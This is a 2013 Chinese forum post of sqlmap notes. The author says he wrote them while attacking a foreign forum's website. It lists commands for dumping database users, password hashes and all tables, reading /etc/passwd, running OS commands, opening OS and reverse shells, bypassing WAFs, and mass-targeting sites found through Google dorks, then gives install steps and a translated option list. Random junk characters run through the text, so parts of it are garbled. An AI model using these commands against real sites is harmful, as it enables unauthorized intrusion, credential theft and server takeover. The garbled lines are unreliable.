找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2971|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
/ U' Z+ `* A  B$ ~sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
% b6 [4 S# b% u/ J0 esqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
0 w! u; q; ]0 h: Jsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
% O) N# X2 e8 P' p( | + I3 z" B1 W7 k
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
: t, G5 k& z/ _& x0 #获取字段内容1 o) E- u7 D9 Q, N' Z

7 |4 j" l% w( J9 R8 \. z******************信息获取******************
0 O0 g: H! o9 [1 Lsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型. I% Z/ X4 a( M
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
  H% L7 ^  M% Q0 X/ e6 Y# Isqlmap -u “http://url/news?id=1″ –dbs#列数据库
5 @& `5 d8 t1 _% [+ Bsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
! f3 j! S/ e* `! c: u+ p/ R( fsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
" g+ l2 p4 l, c! D" n0 Gsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”# U5 P% W. e# D7 L1 j! m
–start 1 –stop 20 #列出指定字段,列出20 条9 ^% C* O7 S5 Y* p
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
6 p! e# j, I4 M- [: q5 psqlmap -u “http://url/news?id=1″ –privileges #查看权限6 O# l& i  Y8 f5 x4 v% F" `( j
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色' T3 }1 p" g$ F$ Y2 ~
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)7 ?5 H$ T4 J* y6 W( \
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
/ l" _8 r' e7 Z6 Y1 S# msqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
2 B; M# }6 _( w. z* Xsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
) V' u. e, r1 b9 F3 z& [6 R4 E! ^sqlmap -u “http://url/news?id=1″-b #获取banner信息( r0 N+ w) e  a) [$ Z
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
6 L6 N7 q6 B9 p1 X" z( b6 b$ jsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型2 ~# ^9 E9 `& l! P# u  ^1 }  t. U
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
& Y- a" J% z( d' o& }sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
9 b8 E: F* K+ u7 }2 A8 e* isqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
% O; Q8 R" t' A. Q; k3 L" n  x( hsqlmap -u “http://url/news?id=1″ –file /etc/passwd
2 p7 @9 ]# c& |, rsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令, u! i, m. n' V( _' g
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
. v: l" b4 h+ @sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表! `& V1 ], R4 A
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度; L4 f% `+ r/ ^
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
( a, c0 |: Y; _( A6 b' S' r***********高级用法*************4 d: F; \( @! C) H' S, o
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入- B9 ^3 H/ f8 y2 J, F
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
: f* J9 C2 d! `7 z( R& U–technique   测试指定注入类型\使用的技术) K1 W0 @% }, H4 U7 _8 y* D
不加参数默认测试所有注入技术! m/ B+ C- |: v& T1 S0 T% H
•     B: 基于布尔的SQL 盲注
( v0 s' w5 X9 X8 ]. C! X•     E: 基于显错sql 注入
( C0 m; W0 h3 R•     U: 基于UNION 注入
7 h0 Q- I& A& U. _' f( p•     S: 叠层sql 注入
8 X4 n4 \5 h9 C5 I% ?+ \•     T: 基于时间盲注/ c( a: M- b# v! Q* v
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
! R* F" K8 c' s* \/ `–tamper 插件所在目录
% ^$ M0 C; e) U" v0 @\sqlmap-dev\tamper1 t  g$ B1 M, g8 P# K( O# S& n
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
  _# {5 E$ b* d$ O9 y2 Dlevel 执行测试等级 攻击实例:3 u; E3 q% Z7 N
Sqlmap -u “http://url/news?id=1&Submit=Submit”
7 t. n& e3 @- t5 \9 {* ^–cookie=”PHPSESSID=41aa833e6d0d
8 v( _! a4 h( [0 I0 ^28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
( z$ B$ I; y- L  I. x5 a8 x* p–password
% g9 |$ w3 r2 L1 Q1 t' l% r% d参考文档:http://sqlmap.sourceforge.net/doc/README.html
* ]- f7 N' G. O2 [* L9 U( V* K***********安装最新版本*************
: z$ E! Q1 N5 ?2 \# n' S6 qubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
3 d. z6 G+ t) M$ ?4 l! y# l* L; esudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev* m  f5 `+ k, Z" y0 n  f& _* c# T
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件" B- M' d* G1 z8 P( S
sudo vim /home/当前用户/.bashrc/ G8 w) F6 D& t& v3 `5 H
#任意位置加上:
  ]! _6 s" ^, B- V0 R* ]alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
: e9 g" \3 G6 |0 g如果想对所有用户有效 可设置全局 编辑下面的文件7 e0 d$ E& Q3 P+ F( k/ |% L
vim /etc/profile
$ T8 U8 X0 N* e' E* i同样加上:, ^' U$ {" g" ]; t2 H: A
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
! n5 Z( z# R/ Y. ]& _******************windows 7 (x64) sqlmap install (SVN)************5 ?) O1 O& P& m( J  s/ q/ s
http://www.python.org/getit/ 安装python
5 r; |7 P% y$ T+ q( S/ yhttp://www.sliksvn.com/en/download 安装windows svn client* D# T# N: N) T1 o0 Q5 y3 s
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& s3 G5 \# b2 _' ^1 b" y  B安装sqlmap% d$ ~; ~) g3 w% A. E0 J
*修改环境变量' s6 u9 v+ ^4 ?$ \' h7 A/ z
–version             显示程序的版本号并退出
6 E" @+ z% ]. I  J1 z/ T  ?-h, –help            显示此帮助消息并退出) p0 Y) G1 c, M+ t
-v VERBOSE            详细级别:0-6(默认为1)9 Q& J3 V2 X- K+ S% k) \3 K) k3 Z& T
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。* [* ~1 l# A/ ]0 t. X& `8 ^" K
-d DIRECT           直接连接到数据库。6 g5 }. b$ X4 _& {7 ~- U. b
-u URL, –url=URL   目标URL。( X, @* |% @. R* O
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。1 Z% Q5 A0 {6 n! @, F" W( J
-r REQUESTFILE      从一个文件中载入HTTP 请求。* w4 ]. V( B) T$ \) M- K# B
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。" t- ]1 _$ O( Q( L) f' f7 l
-c CONFIGFILE       从INI 配置文件中加载选项。5 r0 h, F  r5 E
Request(请求)::; E' H5 h* b9 [: l4 L' U
这些选项可以用来指定如何连接到目标URL。
  [# Z, `' m; H" A& E# |3 ~) a7 G–data=DATA         通过POST 发送的数据字符串
) L. _( Q; k7 d5 R0 t6 H* B+ S' O3 j–cookie=COOKIE     HTTP Cookie 头
" k  H1 E1 q) o4 [$ J# {: d) W4 O–cookie-urlencode  URL 编码生成的cookie 注入
% ]! i" p4 A# |# A6 a–drop-set-cookie   忽略响应的Set –Cookie 头信息% V& {- X- y  z% y

* D! p: Z$ Q7 |+ G9 C7 r; i–user-agent=AGENT  指定  HTTP User –Agent 头) t  ?/ _  m& I5 G& q
–random-agent      使用随机选定的HTTP User –Agent 头
8 H0 e1 A' G) ^9 w–referer=REFERER   指定  HTTP Referer 头: r$ n* E4 x. b1 @  C. a6 e
–headers=HEADERS   换行分开,加入其他的HTTP 头
8 h+ A: }1 ?3 s) [1 S–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)$ d) s2 q1 ]3 P, X( u
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
  E$ _/ G. B! V7 A- e$ D–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file); b, G0 v9 [  |7 y4 H* b  c: q0 v) H
–proxy=PROXY       使用HTTP 代理连接到目标URL
2 O  W, L1 ?9 ]% ]9 q% L# p( o–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码). Y% x! L: B2 H8 Q# @: C9 d$ z
–ignore-proxy      忽略系统默认的HTTP 代理
7 _9 }( U; b5 g5 [  {: L8 ~–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
5 u: L9 [3 C0 x  l% {  ^' r# Q–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)% @8 F3 h. `8 ^/ K/ L
–retries=RETRIES   连接超时后重新连接的时间(默认3)
) T2 {1 m6 G* z–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
" n6 Z' n; B: G6 Q  c–safe-url=SAFURL   在测试过程中经常访问的url 地址; K; H$ ^7 Q6 ?7 Q% L7 c
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL, O8 F( x; G' w1 y- _! V' U
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
0 L/ P- _" i! `5 u5 Y0 e6 N-o                  开启所有优化开关3 j0 L0 ^. M4 a  C; q2 j* ]
–predict-output    预测常见的查询输出. h  i) V8 ]' t( [) Y8 R: y
–keep-alive        使用持久的HTTP(S)连接
9 w8 T0 b: B4 A5 w  ~0 a0 R, q. [–null-connection   从没有实际的HTTP 响应体中检索页面长度
; @+ l; n$ R& m2 `$ ?2 z# `–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)' b1 I/ k0 v9 t9 v4 ^  a6 x5 v
Injection(注入):
& }! |6 _  x8 N) S8 I# i这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
& V: \' ~6 s9 X) L% s7 C-p TESTPARAMETER    可测试的参数(S)' l9 N! U: K2 C6 o1 c5 Z
–dbms=DBMS         强制后端的DBMS 为此值! J0 h# z! D- @3 b" J7 `8 w+ ^* m
–os=OS             强制后端的DBMS 操作系统为这个值" N+ s" M+ _0 x6 q' a1 j# S( m
–prefix=PREFIX     注入payload 字符串前缀
0 N- l/ c6 j. ?6 e+ \# n–suffix=SUFFIX     注入 payload 字符串后缀
! l) u8 C  C3 k& n7 r0 b–tamper=TAMPER     使用给定的脚本(S)篡改注入数据2 L# I+ [% F/ b" r7 s2 `, J9 C
Detection(检测):
7 d$ T2 E+ ~3 K6 l这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
. ?4 _7 u0 l. }* W4 d–level=LEVEL       执行测试的等级(1-5,默认为1)3 [# a( ?' I# I
–risk=RISK         执行测试的风险(0-3,默认为1), s" p  y/ Y8 ]5 Q
–string=STRING     查询时有效时在页面匹配字符串: S! E5 y3 z$ ~1 Q" A' m
–regexp=REGEXP     查询时有效时在页面匹配正则表达式2 t4 w7 G2 L3 l( B3 m
–text-only         仅基于在文本内容比较网页4 t- B8 b7 ^% A
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
8 p! v9 @9 j& b6 t% h/ [5 s$ C4 b–technique=TECH    SQL 注入技术测试(默认BEUST)
1 u! {5 P1 n" i–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)5 ]0 C/ K% ?& G6 Z/ h
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
  x9 g2 j2 w9 F& o8 ^–union-char=UCHAR  用于暴力猜解列数的字符
* n( ?3 A! c9 L! [8 ZFingerprint(指纹):! a6 f; j% {$ g* O' I
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
3 y& l0 F7 f. V, F- yEnumeration(枚举):
+ ?, p3 m  v, J 4 Y' G; y  {# F1 X
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。  p: j1 I) F& d+ y
-b, –banner        检索数据库管理系统的标识6 {7 h" N' J5 L+ [7 @1 h
–current-user      检索数据库管理系统当前用户- t4 P+ S' h( n2 t! X4 a4 r+ m
–current-db        检索数据库管理系统当前数据库, T6 [. _3 Z: `4 t4 j8 \
–is-dba            检测DBMS 当前用户是否DBA) I- D6 n$ ^" F) t; e! C4 C6 j9 k
–users             枚举数据库管理系统用户4 ~8 P, v$ {1 z) u
–passwords         枚举数据库管理系统用户密码哈希5 j+ E& R; H  t
–privileges        枚举数据库管理系统用户的权限9 |% P2 \- ^7 D5 H8 B" ?3 ~1 m
–roles             枚举数据库管理系统用户的角色
0 `2 w- p, f6 z# U# k0 Y( [–dbs               枚举数据库管理系统数据库
6 R% P* j: t6 P0 N5 U–tables            枚举的DBMS 数据库中的表
) |3 f$ a, W1 B–columns           枚举DBMS 数据库表列
! T. t, e+ v+ \" E0 j–dump              转储数据库管理系统的数据库中的表项
9 v0 q: W' w% y* s+ N- R–dump-all          转储所有的DBMS 数据库表中的条目7 g' B+ V; z1 g$ s# F
–search            搜索列(S),表(S)和/或数据库名称(S)) }% ~1 l1 q; E! e+ u
-D DB               要进行枚举的数据库名$ t! M& ~; p3 J" Z% O" l4 d+ n
-T TBL              要进行枚举的数据库表
% U& R: y$ S" H-C COL              要进行枚举的数据库列
8 L# X6 M3 o# K: v) t$ H& ?-U USER             用来进行枚举的数据库用户
7 K6 \# f8 D* T' ^& S–exclude-sysdbs    枚举表时排除系统数据库- @0 I0 i$ Y- \6 z% ^
–start=LIMITSTART  第一个查询输出进入检索. i. X, l5 [# Y/ v5 i
–stop=LIMITSTOP    最后查询的输出进入检索
+ s. U+ \5 M: y; @' y1 |–first=FIRSTCHAR   第一个查询输出字的字符检索
) _- x1 Z  Z1 E+ G# C–last=LASTCHAR     最后查询的输出字字符检索. p; y  |9 C$ V$ J4 f' J. Z/ @3 {2 m: G
–sql-query=QUERY   要执行的SQL 语句
  u9 c6 W9 `9 V) S; B–sql-shell         提示交互式SQL 的shell
! x, s; H1 G/ BBrute force(蛮力): 这些选项可以被用来运行蛮力检查。% D! e( p% r' ^, [3 Z) a5 k
–common-tables     检查存在共同表
+ U& t8 Z% Y4 y–common-columns    检查存在共同列3 I' Y* `, K3 ^0 C% ]
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
, g3 j: M: k; a  h* f' w# F–udf-inject        注入用户自定义函数
/ B- v" u# E3 m' Z" O–shared-lib=SHLIB  共享库的本地路径
! z  X1 n7 P' F' @File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
6 }) Q% G# S: |–file-read=RFILE   从后端的数据库管理系统文件系统读取文件2 E$ C; y) X5 ?) H2 j- R
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
3 U( F* x/ I: \6 h. s' }" j–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
8 Z3 E$ x5 n) ~! _; ^4 t; _* L9 MOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。( ^8 Y0 ^3 `# j& W9 _5 }7 O
–os-cmd=OSCMD      执行操作系统命令
0 @5 J: O% t: s. K! \4 l6 [. u. O–os-shell          交互式的操作系统的shell
/ @8 v$ T0 N4 `7 p–os-pwn            获取一个OOB shell,meterpreter 或VNC
- y8 w% }* w- s1 V8 d$ T–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC# R1 S2 X% W/ l' _
–os-bof            存储过程缓冲区溢出利用
5 X- U3 D3 v) y; w5 d& K–priv-esc          数据库进程用户权限提升8 L. }4 {$ a  X, [! P% \
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
4 a) i( N7 x, u# a- Y; U; N–tmp-path=TMPPATH  远程临时文件目录的绝对路径
5 [0 V& v: X  H( H. N
3 J& j6 j( a/ f2 ZWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。3 z5 C6 ^/ x( J' ?9 R9 ]) L2 G
–reg-read          读一个Windows 注册表项值
  J* P1 Y+ M2 _5 S  n9 ^–reg-add           写一个Windows 注册表项值数据5 N4 _# P: G. A! M6 _6 ~3 d
–reg-del           删除Windows 注册表键值
" @5 @& k2 G+ o# \  p–reg-key=REGKEY    Windows 注册表键. P8 i' j; Z8 i  F0 w  E  `, `. A
–reg-value=REGVAL  Windows 注册表项值5 y, A# M0 s! X% F8 y! i
–reg-data=REGDATA  Windows 注册表键值数据
5 g/ z' {! H6 o; ~! H& W$ B8 }& u–reg-type=REGTYPE  Windows 注册表项值类型
; a# ]; a) ]8 @+ T0 _0 qGeneral(一般): 这些选项可以用来设置一些一般的工作参数。5 p5 L6 O6 O+ w1 ~: ~
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中9 k5 R$ N& o% g) Y6 g, }& h% b- _
-s SESSIONFILE      保存和恢复检索会话文件的所有数据1 E3 r4 f( m- l; Y- S) T
–flush-session     刷新当前目标的会话文件
# v: t: D) B0 p" c–fresh-queries     忽略在会话文件中存储的查询结果4 w+ i! G: S1 ]) T, e. [& M+ D
–eta               显示每个输出的预计到达时间
9 t. ~9 Y& O5 h/ {! w; L1 v–update            更新SqlMap: T. A% g' W* t7 R( y
–save              file 保存选项到INI 配置文件
7 f1 j9 x9 `# }6 x6 w–batch             从不询问用户输入,使用所有默认配置。( `. U$ ]* ]0 G
Miscellaneous(杂项):' z- l1 r$ a2 n
–beep              发现SQL 注入时提醒3 ^  K/ ]0 v: T( o5 B
–check-payload     IDS 对注入payloads 的检测测试! M" F" d7 ?) z7 r0 r) [
–cleanup           SqlMap 具体的UDF 和表清理DBMS
! q# U; }6 c8 L- i/ t; B–forms             对目标URL 的解析和测试形式7 }: l7 b0 V( ~) B! F1 D9 Q7 m
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
8 G9 L: T; v- k) [8 H–page-rank         Google dork 结果显示网页排名(PR); K. {2 `( ^, o$ @) Y- j
–parse-errors      从响应页面解析数据库管理系统的错误消息
* R; D& P4 C, W/ Z/ h; ^. i–replicate         复制转储的数据到一个sqlite3 数据库
/ O* H  z0 n1 f0 e  d–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址  w# ^5 C/ q; i% [: ~. j
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表